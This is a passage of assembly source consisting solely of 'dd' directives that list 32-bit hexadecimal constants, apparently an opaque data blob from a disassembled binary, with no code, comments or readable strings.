7A92AC53h, 37070020h, 67315C8Bh dd 8A0434BFh, 43CC5E7Fh, 0B6488480h, 0FE66000Bh, 44E81A30h dd 2B00358Ah, 4093AB14h, 0BCDD85h, 0AFEE2548h, 1DD3F264h dd 9B986260h, 0EBA4008h, 88F6949Eh, 8BC4F0A0h, 0E8D6DE6Fh dd 0C06CF60Fh, 0B025172Bh, 0AD010059h, 74EF0C68h, 5E1CA0F5h dd 0E2C0458Bh, 72E9374Fh, 1CB800D0h, 0CA9ABC0h, 0FAEA2605h dd 910C34Ch, 201511F6h, 0DB32B0E0h, 0AEFB0186h, 728C88F7h dd 0D0985157h, 0A008E035h, 0F674BC1Fh, 84204124h, 0DAD8ED0Eh dd 808C8B05h, 0F11CD9Eh, 691C00FBh, 0A9410D89h, 283A60CCh dd 1D0998D7h, 1328880h, 0AF8E6575h, 2F9864C4h, 0F8BE81F0h dd 25EC16h, 2711CFA2h, 0C567D9D2h, 7A4B2674h, 3FEC1F86h dd 0E79195Fh, 4ECB391h, 9F7B6C3h, 0E97FDA89h, 14C5D042h dd 0D90EAA00h, 6CFEB5Eh, 416400F3h, 0A7CD47B6h, 0EE60A3A2h dd 6BA83B9Ah, 58E700EDh, 0B18E75BAh, 7FAEA14h, 4AF02F02h dd 0C0545D28h, 4E89904h, 0E61AB2Ch, 1F1880BBh, 0DC0AFAC2h dd 0CCD23D08h, 0E0F44085h, 0FAA024h, 9A2E86B5h, 36007202h dd 58BA2D15h, 988F69EDh, 0FB93E2Ch, 0D2D3E880h, 6F6B203Ah dd 0D654F300h, 0CAEF115Dh, 0E94E26DCh, 433E00A5h, 931AF860h dd 2764BA0Eh, 0F7D467D9h, 70D10191h, 1D247CF0h, 24FA1433h dd 40D01E8Ch, 0B1699D26h, 0D4026754h, 0D214D343h, 3DC04105h dd 15245E4h, 2B80DD66h, 308441E7h, 6E00EAA9h, 0EF136794h dd 16987FD8h, 0A173EBh, 959FB88Ch, 3C28D509h, 0A00D7A0h dd 7BF62C0Ch, 48D39768h, 0B880E0B2h, 7C2165B0h, 4C3AD800h dd 18A98608h, 37CD0714h, 96B7395h, 51F21000h, 0EE001265h dd 0DB469297h, 48719B8h, 0A373FEF5h, 6BE0C0BEh, 0B2EE9658h dd 971B5900h, 0C7374027h, 9FEE0433h, 0D8BD7F0Bh, 7300F32Ch dd 84D76D59h, 4C8ED206h, 2815C642h, 5E0FD48Ch, 0BCE7F96Ch dd 0F249E1B4h, 8568CCE3h, 963E3D00h, 9FD8576Dh, 1C293F0Fh dd 98009C48h, 0E741A92Ah, 4B028AA4h, 6B7C8940h, 5B1CE98Bh dd 0BD8480D2h, 0B0DBB963h, 557D0301h, 59C142C0h, 4895380Fh dd 1C8262A0h, 472042F6h, 9DBB070Ch, 99B0D034h, 8100CAEDh dd 0C758674Dh, 983AE6A2h, 0B34B2628h, 4FB4044Bh, 0D4B4C0A6h dd 30142B2h, 0A4231A78h, 97F0C05Ch, 3DC60017h, 631C8034h dd 0A80002DEh, 8611D7E7h, 0B0B74F03h, 0B4F90184h, 0CE12F360h dd 0E510DC52h, 330088B1h, 94D1B39h, 78B0082h, 34BBB003h dd 0A5701E73h, 91BC280Fh, 9569BEh, 3B440340h, 52CF0078h dd 0B6975D8Ah, 4B3B3089h, 0D16212D7h, 0C5637000h, 0F83AAh dd 437948B9h, 0B0FEEB29h, 0EF471D09h, 4FB8A4Dh, 71C7E700h dd 0B0AB0277h, 96842208h, 926C9F03h, 0F029FDD0h, 58134691h dd 2C4C9977h, 8C74EC80h, 3D3C2696h, 0C91Ah, 8A98B19Ch dd 938E3Ah, 26BC21D9h, 0D019990Eh, 4FBA9000h, 8584D329h dd 9C561849h, 0AEF6FA34h, 1FEB9605h, 0A6C08A63h, 41FB0Ch dd 2E7E4454h, 1DEC3F24h, 1BF10400h, 7DACAF74h, 446400ADh dd 0D3C92ED0h, 6005860Ah, 0C2B4388Fh, 0B8DF9EC2h, 730608A0h dd 0B7BD00D5h, 0B869A202h, 890081C3h, 0EEE5ED80h, 9A055BBCh dd 0DD9103E8h, 82CF25A8h, 0D5741001h, 0E3C13B69h, 7B6E23F0h dd 87050959h, 198EA607h, 2C044B89h, 0DB8C9088h, 7B00715Fh dd 0B4A94F4h, 304DB8B9h, 3F91BBEDh, 3E002098h, 0C5296A03h dd 1AE8F8h, 6A837C8h, 1B3262B1h, 0B941BCB1h, 0D450D639h dd 73BA3B38h, 9C8C4D0Eh, 5DB95201h, 0E0E93C61h, 0CA02EBF6h dd 0CF3D1DDDh, 0E67CCE4Fh, 0C0E17D46h, 215AC8F1h, 8D6304BAh dd 0D8FE01A1h, 350F10h, 27550AC2h, 634EB88Ch, 0DC00AC92h dd 8C554F6h, 92B9A75h, 323119A3h, 0FE8398A9h, 61001B71h dd 28A3DB87h, 4E2341Dh, 8E45F3ABh, 7CE08064h, 7700B260h dd 0A7388D8Bh, 0AE0A32h, 0E415BDB6h, 490EBF41h, 105D5101h dd 3A2D30A5h, 2FF6570h, 87B77A44h, 64E0B427h, 4E4C40D7h dd 0B3E8130Ch, 768B4400h, 5F0310h, 3E6FA570h, 179652A8h dd 0F781F300h, 6354BE61h, 0D8903C09h, 62580CCBh, 463FCE98h dd 0A56E0187h, 0EE29AC80h, 0C87CA051h, 8412B831h, 8734C021h dd 2EEF1514h, 0EE0B8026h, 400728Eh, 506A665h, 0FFD60200h dd 3567AE7Eh, 0DD833B8Fh, 2CE56D80h, 5B8AE761h, 0EB4830EFh dd 6804649Ah, 0ECB6EE5Ch, 470458D0h, 0EBCF001Bh, 585D0E7Fh dd 9498623Ch, 4177FF03h, 0E955D9F2h, 60D28905h, 7764B64h dd 0C716C8D1h, 22B1C05Eh, 0D3032E4Ah, 0CF49D25Fh, 7204B887h dd 0B85E1E77h, 0CDD611h, 16FD5A10h, 48CF64C6h, 2D38A0BAh dd 46F6F0h, 0D757A4Dh, 0EA8F51F9h, 87B37914h, 4C5A26F4h dd 2CC89600h, 0F669349Bh, 846A5007h, 321800B9h, 884CEABAh dd 5DEE824Dh, 0F5091D14h, 9CFA00F4h, 0DF781125h, 215B003Ch dd 230D4BA3h, 0F200AAE6h, 134DECB7h, 3BB929C0h, 3102F6C1h dd 72522B82h, 0CD6D7760h, 0C08BDE30h, 0EE42385Fh, 80D4BB19h dd 97F0C830h, 0C55CA5ACh, 330B00B5h, 9203D2DCh, 53D90029h dd 948B7C4Fh, 0DD2E9B54h, 0D100183Fh, 9F0CB068h, 3C9301F6h dd 0D4BD89ABh, 235880E5h, 4BD61AE7h, 6EA6004Ah, 0BC9C437Ch dd 4207483Dh, 0BA49B05Bh, 7331EE66h, 0EBA30C8Ah, 0DA11E318h dd 0C13A3100h, 90C3679Bh, 553C00BFh, 2D0BF56Eh, 0D900E874h dd 0ACA801E6h, 1E25859Eh, 0ECDC4ED3h, 8EFD0E64h, 791AF200h dd 1403633Fh, 187F0EABh, 0EFDFF01Dh, 0BDFF1FCFh, 0D8007BAEh dd 0BB064613h, 0B2004010h, 0F7151E58h, 793A53h, 0A65FB518h dd 68DA293Fh, 80100F00h, 15695646h, 9C670075h, 850308F9h dd 0CC0424EDh, 0D8ADA1E0h, 0B2A08C1h, 19CA770h, 0A4F0EED3h dd 0F871FB89h, 0B090DA55h, 80186A4Ch, 2F806F77h, 0A92C00B0h dd 825F764Fh, 9579BF3Bh, 0DEFFA60Fh, 2025EB44h, 20678AA8h dd 0B50730D1h, 0BB906D10h, 58AA5703h, 0B3469EB3h, 0F891C320h dd 7E954303h, 8E2E01FCh dd 8DCAE32Ah, 85FDD0DFh, 0ACE2080Ch, 0E7114ECh, 8C9235C4h dd 68E924C3h, 4701A27Ch, 64EE3D88h, 0F4DFC6D9h, 0A0DBCD80h dd 44270083h, 0A8602B99h, 550FE278h, 1F928112h, 678DE680h dd 63D37Bh, 8A9A7F4Bh, 0E1C5C685h, 0D8739700h, 0F7616009h dd 0F13000E0h, 0F32E65E5h, 8B5CBE7Dh, 0D02C00EDh, 9C837892h dd 67E30072h, 97E0229Dh, 64B85B4Ah, 4B8DC400h, 358A5A65h dd 8EC074Dh, 13284093h, 10004A8Bh, 0DBBCBFE7h, 411F85h dd 784F6B05h, 13ED8EF7h, 3769DC00h, 0E124B7D2h, 480A60C9h dd 0BE34F1F3h, 2C687626h, 9164AB00h, 0FAC5E4B5h, 0D89C0028h dd 2DA87A7Bh, 2400D7C4h, 0C0FE0B9Eh, 57DAC6h, 0E9D2E9Bh dd 0D7C5FA59h, 0A61A701h, 0D831F3F7h, 2509C2F4h, 80026936h dd 54C0EFDBh, 0B138801h, 0B0408D38h, 0CD5BB43Bh, 61EB00A7h dd 0E52E8066h, 0E1009732h, 0AA46543Eh, 24C9628h, 437B029h dd 0FCE6BE74h, 3C9020h, 0C34F10BFh, 0AC40B8A7h, 0D5216E0Eh dd 0E69C06Ch, 3D0721Eh, 0CD4C95D3h, 40007C58h, 0A55F7BAFh dd 755D9A4Ah, 44C33EEBh, 806E9D1Fh, 8FBF500Ah, 4BF2D33Ah dd 9455D528h, 0B564C207h, 8CC0A4D1h, 1919A72h, 0EAC90FA0h dd 802428ECh, 2F93CED8h, 9E90B6Eh, 0B660E1BCh, 72924CA0h dd 49012C87h, 88D542DFh, 39706343h, 63E09A7h, 0D0C03938h dd 480BE3EDh, 0A0B59BFDh, 34D2D604h, 5632094Fh, 0D8802374h dd 17771997h, 0CEC91D00h, 47A3C2DBh, 294103AEh, 0D38A730Bh dd 184875D8h, 35A4000h, 42256F0Dh, 38AD5DC9h, 3994A403h dd 5C90618Eh, 24FC51A8h, 0BE212000h, 0ECE40FD4h, 41076049h dd 0FE964DA6h, 0BCEA58h, 959F3FBFh, 0C5A821h, 0D629B231h dd 0FF45CB4Fh, 5F3B6216h, 4AF40CC0h, 1C842E52h, 39C82AC4h dd 0DD032DDAh, 165B0688h, 132082B8h, 0BE08CE12h, 0B433DC13h dd 1EB0FF8Fh, 1B73D2h, 644EDCC9h, 0FDD1D841h, 0D6483A00h dd 7967B361h, 0E9081C81h, 0C8025426h, 0FB43540Fh, 0FC29F1D8h dd 70905800h, 7BA4E51Ch, 1B980080h, 0AE999136h, 0B3016FEDh dd 0E6566B88h, 70D8D4B2h, 773D0578h, 0C1E82EFEh, 0E832A008h dd 0D023B15h, 0E1C7586Bh, 912CE887h, 78BBE4h, 0F720B752h dd 0FD0024DCh, 0EEE41064h, 45FC7Eh, 90304972h, 0D044775Ch dd 0BB5D53Dh, 0A004813Dh, 4227F63Ch, 78B3029Bh, 36B98CFEh dd 0D4BB3449h, 1B007AF7h, 0FC43F68Bh, 34FF8Ah, 7EEA376Dh dd 0BC975382h, 923D8F00h, 0B36BBDA3h, 0A4153B7Bh, 0D06C49F4h dd 0EEE72403h, 5903722Ah, 526D95F0h, 19110F6Ch, 5381ACD4h dd 28BF1087h, 772282A0h, 0EDC38Dh, 2C73AE28h, 0FB6F729Dh dd 0E51D9019h, 79ECFDE8h, 331A154Bh, 0EF00E86Bh, 0C60E7389h dd 4F1F2696h, 79C56A03h, 84037451h, 8854CAD2h, 3027918Ch dd 713934E2h, 0C1017065h, 5652A64Eh, 72E31BECh, 0B84300A9h dd 0E532AE93h, 510AAD07h, 0C8808E42h, 365C7800h, 6B7EF3h dd 0FCF8B777h, 3FE69E4Eh, 4A2F1C1Dh, 0D66E74C4h, 0F0FD1490h dd 0B2CB01D4h, 83B06DCCh, 0FB1180B8h, 892F3EAAh, 9F70084h dd 40605E1Fh, 8E5017C3h, 7A00F28Ch, 4E18E10Ah, 6063FCCDh dd 1D0E1881h, 809AAB6Dh, 0AE1C281Fh, 5EF00B8h, 0D486FEEh dd 23CC3ACDh, 1847CA8h, 66515EDAh, 0FC913C78h, 0DD01C217h dd 497973E7h, 0E9F4D34Bh, 57810054h, 0A61D5EEAh, 0D0A82912h dd 760BEF69h, 20B6369Bh, 0C707E1B4h, 480C00Ch, 15356212h dd 56A0ED00h, 81EE5D8Ch, 836D0075h, 485F495Ch, 4BF47F16h dd 8000ADFAh, 15CB5D94h, 614DF0ABh, 0C66C48CCh, 0B914606Ah dd 73CDE500h, 55ED5E10h, 0AFBE0757h, 7076B580h, 0F5916531h dd 90BA6400h, 0D52697E4h, 30B4003Ch, 0E4FD171h, 4D03E09Bh dd 8C89A307h, 93FFD02Eh, 538F00CBh, 0BD9A23ADh, 2B07A9DFh dd 90027B73h, 44407471h, 42E090F7h, 5281009Eh, 8F92B419h dd 0E33A0954h, 0A799876Dh, 9BD03D2Fh, 3571F50h, 4F1603B0h dd 54EFFB51h, 96E080E0h, 0E90F447Bh, 40D6657Ah, 9B538670h dd 9F23Ch, 448771EEh, 0DC83AE90h, 681BF00h, 703813DAh dd 428E00DDh, 8945406Bh, 0B10E9861h, 812CE19Fh, 0A1FB5C47h dd 585030h, 0C33F8B75h, 19DCC8A9h, 0B44C667Eh, 1E2C5893h dd 0AF40A813h, 9CB38877h, 0A76A009Fh, 347F0ADh, 1807788Ch dd 0FA83C1BAh, 989340CFh, 123481DCh, 4032B7h, 0B3B11460h dd 4E07CEE3h, 0E443336Ch, 3E6910D0h, 2D8A0008h, 0EC58C2BFh dd 0EE004C57h, 8765D290h, 0A3DBA1h, 0B02E258Bh, 0E3E83028h dd 0FAFF1100h, 0ABA99C3Ah, 0A53D00B1h, 0C9BAFDD8h, 0C71D7A67h dd 28404DA4h, 0B451B9BCh, 0DFC0CDDh, 5D80ADD6h, 0C4953900h dd 9B9715A8h, 562E3E37h, 74A6063Ah, 0CE5300ADh, 275258A3h dd 0A6D19800h, 4593E8CFh, 0CA88002Bh, 2C592632h, 42713474h dd 556FBA00h, 9B9599C6h, 0C1C5007Ah, 81AC9466h, 0CE009714h dd 4832EB63h, 889B5Bh, 0B7922690h, 0C8E96CBDh, 0D7A32200h dd 0E88EF197h, 5C4F0032h, 951109Ch, 2BB02070h, 4D7A681Ch dd 8E247440h, 32FA48A6h, 2C3086A2h, 0E9008C58h, 5C27AA6Ch dd 0BEB2CEh, 0A8F2A12Dh, 0DE7E506h, 565A6207h, 0BF80269Dh dd 3ABEB5h, 2C379F31h, 7C05FA4Ah, 0A304EB00h, 0E220CCB3h dd 0AEA83B2Bh, 844CB580h, 8E0164B7h, 0A9316007h, 0E3271253h dd 49984962h, 0E7C83BECh, 0E0010081h, 0B2D9A90Dh, 7200D0BCh dd 849A0A0Eh, 0D44144h, 0BE815015h, 4FBDB20Fh, 95FB5200h dd 71DFBC6Eh, 0CE3E77DEh, 86A07718h, 9160A58Ch, 3651A400h dd 0BC29BBE0h, 715E07F2h, 0D00330DBh, 0BEC83A57h, 61BDE500h dd 0D64E1ED3h, 7D5000A9h, 643E5C6Bh, 821D88B4h, 8002318h dd 567F43C9h, 0FC1700D1h, 447872F6h, 0AEE60721h, 1E0D3C00h dd 0E152C7D6h, 0B3730062h, 0F54B8565h, 7F003B3Fh, 2AC80E82h dd 2E749E8Fh, 1F3056C0h, 77D84041h, 857DD357h, 9A4B3600h dd 7CEB6D61h, 4C3F0284h, 915B7E8Fh, 16F0F463h, 6A002E67h dd 60D43722h, 53FFDAh, 5C5F2A2Dh, 45C7BDACh, 0C12C3EF6h dd 0C94020AAh, 2CE9288Dh, 8E545B64h, 2E00B82Ch, 2451C53Ch dd 80273D3Ch, 72F77FB6h, 55927Eh, 8D75506Ah, 97E718BCh dd 0FF284003h, 0A0E0C5A7h, 0B9F3DAh, 658C6AA5h, 0F8D359D9h dd 6032Dh, 0F3C9E2C8h, 94363E5Dh, 7111997h, 50CE2885h dd 0D9F1EA10h, 0E800A67Bh, 0CC3682A1h, 900D18F0h, 0E10A7FECh dd 856E2h, 35AECD2Eh, 9690A938h, 0E96904A0h, 0AAF0F600h dd 53BE03F4h, 0C9F71319h, 0D6630073h, 0E84C2676h, 4040635Fh dd 35F3AB7h, 0DBD103CFh, 15962C79h, 0A11B44A0h, 3C096214h dd 1F5048ACh, 0C98067A3h, 575ECCB9h, 5B7B0Bh, 7433B813h dd 7617E0AEh, 36E0425Fh, 1B13C71h, 52D65480h, 3BFDA98Dh dd 214861F6h, 64500078h, 0E779D5EAh, 83F20741h, 7744BB7Dh dd 7F5E1086h, 2A00E805h, 6B242153h, 6FC414h, 2DA4DDCBh dd 983BB37Ah, 0D866A12Eh, 12D18805h, 0A33E6080h, 8DA803AFh dd 0E6C63F2h, 7ACA30D7h, 22C6173h, 1D1DDA1Ah, 69F1CB00h dd 7B3F5F7h, 0AA198CE0h, 9A04E082h, 74F0F41Ch, 2007C878h dd 0F8D7BC5Ch, 0B1140683h, 2BF0BADBh, 18349EB0h, 0B9E59122h dd 4B4A3C00h, 98DE8AD0h, 2512009Eh, 22638F80h, 9600289Ah dd 6C150EA1h, 0E69F2Eh, 0C548C0B9h, 0A85A1D63h, 2589AB01h dd 0F391B1D3h, 3C7628F4h dd 9814C453h, 7A00CAF0h, 2FD8D3F7h, 0AB008D79h, 0A2E40408h dd 0FAC5035Eh, 37510EE2h, 266EE1A0h, 0F968B3A3h, 1663D980h dd 21B0E67Dh, 94581190h, 0AA050000h, 55C3C267h, 1D897BE8h dd 40852693h, 3D9D45B1h, 6CFCDE7Eh, 806A543Dh, 9298C6FEh dd 1AB88B8h, 4FF20FC1h, 80500BC9h, 2BBBED22h, 308F31Eh dd 1CFF6E21h, 1DAF661h, 5F072058h, 4107C0B8h, 8DF18099h dd 3D33BB5h, 9192D057h, 0D8B07397h, 4F00A895h, 25438775h dd 7BA3C4h, 38B8694Bh, 0CE7A8808h, 0E2746E00h, 26FB0E3Ch dd 187728A0h, 75C9C9Fh, 0E41061CDh, 1680AB8Ah, 0EE573A56h dd 0E44E2535h, 1DD068A0h, 660727DDh, 46318251h, 61418547h dd 1CE73570h, 6439C648h, 8A03BCD0h, 787DA28Bh, 1ED641AFh dd 77719DDDh, 0FC8C7540h, 403AAEh, 6460EF4Eh, 276CA659h dd 2DED0E38h, 3ED870h, 383991B7h, 1CCDC1C9h, 54CF780Eh dd 20A26E45h, 39DAB6D0h, 783CA026h, 8EFAF2h, 11677B8h dd 75B5586Bh, 0EF15A478h, 67CB4D4h, 0D38A55CFh, 7EC240A8h dd 831AE600h, 0CB47316Eh, 266D0064h, 0E3CF35C8h, 21E8C2BBh dd 8C02B92Ah, 79C50D00h, 0A1B3DD92h, 0B0D23928h, 0AD60C374h dd 29005A38h, 731C424Ch, 2F9FF82Fh, 0E803E121h, 9001869h dd 6CB350CDh, 0E2AF73F1h, 54880003h, 0A42723D2h, 46009459h dd 1CF2A395h, 1EFD6A8h, 2588910Ch, 800F27ACh, 8285D169h dd 171452Dh, 5F26621h, 0BD5911F9h, 0B65D8721h, 8A40C470h dd 1DDE0BDh, 0CC5CCBF4h, 0CC6D39AFh, 870053B6h, 25C02494h dd 17D0AA78h, 22D15D1h, 8D630366h, 0DD6CF8A0h, 3A0366ABh dd 9E1CF138h, 0B84AB3F4h, 0D56568h, 62F263EFh, 0DDC2690Eh dd 89461130h, 3E1A885h, 0FA47B025h, 0D08809A4h, 8E0033D5h dd 9F0FA0FFh, 302737FCh, 5110EE0Ah, 0B600D61Ch, 0B4C1B7Dh dd 0E84F4094h, 3821C029h, 0D4A70753h, 3B441003h, 0E17ACC56h dd 0FBC3EEF1h, 5E2900F2h, 7D3D9294h, 82016A4Dh, 7798EFC0h dd 2080901Eh, 0C14979F1h, 190014B1h, 0F7B0FC47h, 761E207h dd 2C932C7h, 0C4E170E8h, 0F3006C7Eh, 798F6814h, 545247h dd 2AA87FBh, 0E7E9B04h, 842D80C0h, 0CF3CB85h, 0A3491DCCh dd 52025C68h, 0EC1811CDh, 40394279h, 7059DA2Fh, 6FBF0E1h dd 0DF6B9C3h, 0A07549AFh, 74C1620Eh, 8B638FD3h, 3039F0DCh dd 4E20F673h, 7703CEA4h, 0BE833C93h, 7018E932h, 0C5657670h dd 40CB9B79h, 27C4368Ch, 0CE007859h, 296B22A5h, 0E921FECAh dd 1C89C0FBh, 2F490C15h, 0EF60F74Bh, 25D27600h, 7AA99B7Bh dd 1F6E0081h, 0BA7D534Eh, 0C007CF55h, 16A69804h, 0CCA30AE0h dd 94C10012h, 0FA48983h, 89C04E20h, 5ACFDDEEh, 90FE0064h dd 86AA15F2h, 0E0FF5C3h, 0F333C52h, 0EDC75D7h, 1D5C7B12h dd 7C20A214h, 149CF224h, 328465Eh, 4676D1D5h, 34492430h dd 0AB9D4010h, 0DF7CADC9h, 0B517D20Eh, 781A41E4h, 0F0405E32h dd 125CDBB9h, 1FFCFF1h, 337EFCC4h, 745C2456h, 0EE2FFE00h dd 0D6CBAB05h, 0CA6F00F9h, 0CD9181B2h, 9C03E1DAh, 18F8637Fh dd 0FD1FA9A0h, 4E3C24h, 176ECA4Bh, 315AA6Ch, 48086D66h dd 90AE1EF1h, 0D29CCEh, 8269042Ah, 0C0089D4h, 0D1F86815h dd 0EC58C1FEh, 92CA0979h, 2002A0FCh, 9018BB27h, 0D92608C3h dd 3B666092h, 7A480021h, 76DDC6C1h, 550AFED6h, 20796BF4h dd 76D14829h, 721DAD18h, 1BCF5391h, 0D8073F7Dh, 371762FDh dd 593F94D0h, 0D91406CCh, 184EE9B8h, 8B460090h, 4AD50801h dd 0C423B7Eh, 0C54882Dh, 8B6D0400h, 376C30A6h, 1F21E2C3h dd 7372C47Ch, 66803A60h, 8605FE5h, 23C05D10h, 561200B2h dd 704E574Fh, 6400E1A1h, 0EDAFD7Fh, 1229E5CEh, 12A3FAF8h dd 24E80096h, 0E98140ABh, 9D343800h, 59E8CB3Eh, 21620044h dd 4D47415Eh, 20E8A9D5h, 0DE78800Fh, 0B69EE0BCh, 3160895h dd 0D9405B43h, 4DE0398Ah, 5A000627h, 66982080h, 512C1h dd 0EDBF42Eh, 0A3D7881Bh, 80D3E238h, 0DF7FD4CAh, 0E2C89D48h dd 9E603C6Ch, 0B8311800h, 0EF017E07h, 0CEB658h, 0C0421CE6h dd 3A126A46h, 0E3009C70h, 0C73FFB1Eh, 7B00C18Dh, 4A231D1Bh dd 0E526D4h, 181EE935h, 75AA9E74h, 405EB700h, 37D29F4h dd 90BB14D2h, 0E002EF8Bh, 0BACF4F33h, 1FAB8DC0h, 0F8254801h dd 6BE30181h, 3C333AE4h, 398FCE08h, 8E818FA0h, 0DC1EE4B2h dd 2131795Ch, 0A4C67115h, 24FF3830h, 19F4B0C1h, 80FE08C0h dd 298CA621h, 7096A63h, 7F0AA33Eh, 8360CD8Ah, 0B035E620h dd 1C087806h, 80B34318h, 0DE6373BDh, 7C30BFEFh, 0E48FA8EDh dd 2F0E3030h, 0D279D539h, 9AFA538h, 8EDCFAFDh, 0E2989D44h dd 52C320h, 260E6CD2h, 5379F4B3h, 0FFA91700h, 3B5FEFD4h dd 59166449h, 0D2AE6031h, 38AF23A4h, 0C800F111h, 669ED2A3h dd 0C939D463h, 17A48144h, 10E86452h, 544B1081h, 706B855Bh dd 57034148h, 67782BE2h, 46F0C71Dh, 0E69B2B0h, 0C3F0FAC4h dd 506A7F67h, 0BC673F16h, 64031F14h, 80A8BF04h, 2D6BA60Fh dd 0F8BBC016h, 0C6B10A17h, 29F3DB20h, 75A08000h, 7FF948BFh dd 0CBB01F1Ch, 5605C55Eh, 168A8007h, 50C07BE7h, 4A3FF8Ah dd 0EFB50013h, 7520AE85h, 7A00C083h, 1BDFDCC6h, 91348403h dd 48AF007Ch, 714ECB3h, 49FE1137h, 0DE352680h, 820D0044h dd 3EB8A310h, 8900E112h, 7356F09Eh, 0C013162Bh, 9B82CC31h dd 3101DACFh, 342DEBABh, 0F1C86FDDh, 0A2D900E7h, 0D18FCD2Ah dd 0FB180732h, 71817A66h, 6B18CE2Bh, 14A48580h, 0DE15F8C5h dd 8088DDh, 49BBD0DBh, 0EC1B839Ah, 7CC80034h, 3D0F5E67h dd 9703F28Ah, 0D3D12666h, 159EE37h, 0FCD69FF1h, 0EC628FA9h dd 46005DE2h, 586C2250h, 60114C8Dh, 3DCC888Ah, 400809Fh dd 75931445h, 0A06B8E1Dh, 0AB1E094Ch, 0C1986ED8h, 5800A89Ah dd 0B03C5476h, 8866F82Ah, 0A3440300h, 246F4084h, 6BA71F69h dd 4901D936h, 1480D27Bh, 4282FB1Ch, 0B901C8A4h, 0E3720FD2h dd 684018C2h, 61ACCAh, 769EA56Dh, 0B9D85DEBh, 0C9068600h dd 16A26442h, 997B006Eh, 197C8288h, 500CC8E4h, 0C1FED445h dd 0BD4C3E58h, 8AA8D183h, 70E05E5Bh, 3D000694h, 0CD564D38h dd 6EB6C8h, 67F39E96h, 0C90E1FE8h, 0BDDA8A15h, 85DC01C8h dd 4375EC41h, 3A3B9260h, 8A30F702h, 403DF621h, 0FF18F9EAh dd 0A0C16B06h, 840D00D6h, 0E71A6DB8h, 0E600E2D0h, 704B5A25h dd 1B2298h, 0EEE91949h, 0E59FB53Ch, 0B8008573h, 0CAC8E13Fh dd 1C998FBFh, 2A07C142h, 5BE302A0h, 2F966976h, 27FF0040h dd 0C4EE08CAh, 76ED5480h, 183504DFh, 19F94C82h, 0A50058A3h dd 83F73DBAh, 628B76Eh, 0DA12B585h, 0E848C984h, 9A7C006Fh dd 0CFD0DE04h, 0D96900AEh, 2F4523Dh, 0AD2BB3ABh, 400D866h dd 404E3F97h, 16BF18AEh, 0D80671CDh, 0E1E94200h, 4B01D25Bh dd 3EE41F39h, 8362C0AEh, 0FB249BFh, 0B4E5CC29h, 0A076B80Fh dd 206C6E6h, 3650038Ch, 115B3321h, 528040C5h, 0C0880BC1h dd 18AE53Fh, 55F8596Bh, 252141E8h, 249C8FDAh, 0B8897278h dd 0A010E861h, 51E98E3Fh, 8EE25832h, 6691C0BCh, 18CB1A62h dd 91DAD850h, 0A60012A9h, 95FCF1C4h, 33089A89h, 0ACC68C7Fh dd 37EAA5D8h, 1B697060h, 59F2A8h, 0F75653EDh, 228E1E23h dd 0B51FB00h, 6AA39966h, 46309206h, 41A6028Fh, 313B7415h dd 3EFB1080h, 0EF6B0F40h dd 0D9149F8h, 0D9F00971h, 0C42214F1h, 0C320B224h, 1900713Eh dd 7DA5897Ah, 0A087F72Ch, 712A18CDh, 0F82249CCh, 0C3E1C13h dd 0BC113F04h, 37FE6E00h, 0A5C1D9D0h, 7C1D0465h, 0C05086E9h dd 1316EFC4h, 149B688h, 0F5E84ECEh, 0E4BA4384h, 0B900F9EAh dd 78B58D98h, 98470299h, 0B0B86EFCh, 0AE711591h, 12172164h dd 185F1E41h, 8BDB1121h, 0E46D88A9h, 9C00B1EAh, 2B9796A2h dd 61C5E1h, 0BE227C8Ah, 0A6837114h, 0F24DC48h, 41C10744h dd 99632DF6h, 37481030h, 39707A7Ch, 18091419h, 4D821832h dd 3CD391CFh, 0CC3DCD09h, 0CAC08792h, 89691840h, 5B74002Ah dd 3EBD44F4h, 51C04C37h, 0A78CC384h, 33C21CFDh, 8CCD997h dd 0F821B82Dh, 0C9A88C18h, 5352BD6Eh, 1507A8D6h, 40FADF28h dd 0D8EEC28Ah, 2F1DD100h, 372CF21Bh, 17E0978h, 2430D0C9h dd 0E2084E97h, 64F71374h, 8FFC4084h, 9304C40h, 0B4A5B069h dd 44E58000h, 2D26595Bh, 0A909A436h, 0CBD0B018h, 0E00758E3h dd 80E5A580h, 7A06E90Dh, 66C3B0BFh, 3D640429h, 0C7906FA4h dd 3071010Ch, 0D9A857D6h, 4E0E6480h, 0F64DD47Ah, 76FE00B4h dd 0C9D39182h, 32970003h, 0BF793674h, 4C3ED43Dh, 87406914h dd 3A917CA4h, 388316FEh, 0C2AC7A3Dh, 301979B9h, 90602AE2h dd 0A5464149h, 18090E4h, 3CBBF985h, 40AD928Eh, 0F5873718h dd 4E0DB3E6h, 0C0BB7004h, 0E41C0h, 58236FEEh, 92F02AC3h dd 0FC97EF00h, 8901D846h, 992B128Ah, 0E52C00BBh, 730FBC9h dd 72DFE700h, 0F992B214h, 4D0A0696h, 0B9BFB57Ch, 1FCA649h dd 2943F4FEh, 9C42B35Dh, 0F0D520BBh, 0B96A3351h, 7809BC11h dd 49A20ED9h, 83540273h, 0AE442071h, 5B02A1E8h, 0E201B41Ch dd 5C44D5h, 0C6A799FFh, 0B03E8476h, 0D4554E2Ch, 31596018h dd 93A70FA5h, 3934A43h, 0B75137C6h, 8A1B5900h, 0C27B8024h dd 21E726CDh, 0CC0E8404h, 37FC8C7Dh, 5E114D00h, 0AA66C2B3h dd 50427073h, 492FC9Ah, 0CF1B7B79h, 114C8053h, 0C905029Bh dd 87C14CB2h, 7AF805C6h, 29BF287Ch, 5DD330E8h, 0EA83B1C1h dd 0E2B08F50h, 0F0BE551Eh, 73C89383h, 9B18B6BDh, 2F82638h dd 0CD6D31F8h, 808AF881h, 2803CB82h, 0B5090F14h, 93C8E871h dd 1884FBFEh, 0A3187623h, 783D8050h, 30770756h, 58D87AC2h dd 2580E6D3h, 2450B089h, 34E3BEh, 944FC8E5h, 1849939Eh dd 21DD182Ch, 994C31h, 4289785Bh, 148E0FB9h, 38F47730h dd 90EDF5A1h, 287454A0h, 0D16730CDh, 0E7CC1F19h, 73037899h dd 3A361BF1h, 0B838FCA9h, 8D006053h, 783F9C9Fh, 0A8C4F524h dd 9700E6B6h, 793052AFh, 73E290A8h, 437CA400h, 9F896F4Ch dd 8D48A03Fh, 757B2994h, 84563C7Ch, 64203625h, 12D27444h dd 218CB69h, 0A1EFBEF0h, 36244D84h, 623B0824h, 0ED0C90F1h dd 87318110h, 0EE2248B1h, 70777D01h, 38C0EC96h, 3F0FA171h dd 897AC461h, 1E8F834Ah, 5C928102h, 8073CCD1h, 87AEE218h dd 6D9F1CE1h, 50A7143Ah, 1CD2BD14h, 0B3CF7D00h, 47993FC8h dd 9833F430h, 2A4CE574h, 